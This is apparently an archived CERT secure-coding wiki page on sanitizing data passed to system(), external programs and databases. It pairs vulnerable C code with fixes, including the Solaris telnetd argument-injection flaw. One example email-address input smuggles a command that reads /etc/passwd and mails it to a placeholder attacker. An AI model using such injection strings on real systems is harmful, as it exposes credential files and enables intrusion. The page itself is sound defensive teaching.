You are viewing an old version of this page. View the current version.

Compare with Current View Page History

« Previous Version 18 Next »

String data passed to complex subsystems may contain special characters that can trigger commands or actions, resulting in a software vulnerability. As a result it is necessary to sanitize all string data passed to complex subsystems so that the resulting string is innocuous in the context in which it will be interpreted.

Complex subsystems include, but are not limited to:

  • command processor via a call to system() or similar function
  • external programs
  • relational databases
  • third-party COTS components (e.g., an enterprise resource planning subsystem)

Non-Compliant Code Example

Data sanitization requires an understanding of the data being passed and the capabilities of the subsystem. John Viega and Matt Messier provide an example of an application that inputs an email address into a buffer and then uses this string as an argument in a call to system() [Viega 03]:

sprintf(buffer, "/bin/mail %s < /tmp/email", addr);
system(buffer);

The risk is, of course, that the user enters the following string as an email address:

bogus@addr.com; cat /etc/passwd  | mail some@badguy.net

Compliant Code Solution

It is necessary to ensure that all valid data is accepted while potentially dangerous data is rejected or sanitized. This can be difficult when valid characters or sequences of characters also have special meaning to the subsystem and may involve validating the data against a grammar. In cases where there is no overlap, white listing can be used to eliminate dangerous characters from the data.

The white listing approach to data sanitization is to define a list of acceptable characters and remove any character that is not acceptable. The list of valid input values is typically a predictable, well-defined set of manageable size. This example, based on the tcp_wrappers package written by Wietse Venema, illustrates the white listing approach.

static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz\
                           ABCDEFGHIJKLMNOPQRSTUVWXYZ\
                           1234567890_-.@";
char user_data[] = "Bad char 1:} Bad char 2:{";
char *cp; /* cursor into string */
for (cp = user_data; *(cp += strspn(cp, ok_chars)); )
  *cp = '_';

The benefit of white listing is that a programmer can be certain that a string contains only characters that are considered safe by the programmer. White listing is recommended over black listing, which traps all unacceptable characters, as the programmer only needs to ensure that acceptable characters are identified. As a result, the programmer can be less concerned about which characters an attacker may try in an attempt to bypass security checks.

Non-Compliant Code Example

This non-compliant code example is take from VU#881872, which a vulnerability in the Sun Solaris telnet daemon (in.telnetd) that allows a remote attacker to log on to the system with elevated privileges.

The vulnerability in in.telnetd involves the following line of code invokes the login program by calling execl(). This call passes unsanitized data from an untrusted source (the USER environment variable) as an argument to the login program.

(void) execl(LOGIN_PROGRAM, "login",
  "-p",
  "-d", slavename,
  "-h", host,
  "-s", pam_svc_name,
  (AuthenticatingUser != NULL ? AuthenticatingUser :
  getenv("USER")),
  0);

An attacker, in this case, an attacker can gain unauthenticated access to a system by setting the USER environment variable to a string which is interpreted as an additional command line option by the login program.

Compliant Solution

The following compliant solution inserts the "--" argument before the call to getenv("USER") in the call to execls():

(void) execl(LOGIN_PROGRAM, "login",
  "-p",
  "-d", slavename,
  "-h", host,
  "-s", pam_svc_name, "--",
  (AuthenticatingUser != NULL ? AuthenticatingUser :
  getenv("USER")), 0);

Because the login program uses the POSIX getopt() function to parse command line arguments and because the "--" (double dash) option causes getopt() to stop interpreting options in the argument list, the USER variable cannot be used by an attacker to inject an additional command line option. This is a valid means of sanitizing the untrusted user data in this context because the behavior of the interpretation of the resulting string is rendered innocuous.

The diff for this vulnerability is available on OpenSolaris.

Risk Assessment

Failure to sanitize data passed to a complex subsystem can lead to an injection attack, data integrity issues, and a loss of sensitive data.

Rule

Severity

Likelihood

Remediation Cost

Priority

Level

STR02-A

2 (medium)

3 (likely)

2 (medium)

P12

L1

References

[[Viega 03]]
[[ISO/IEC 9899-1999]] Section 7.20.4.6, "The system function"
VU#881872

  • No labels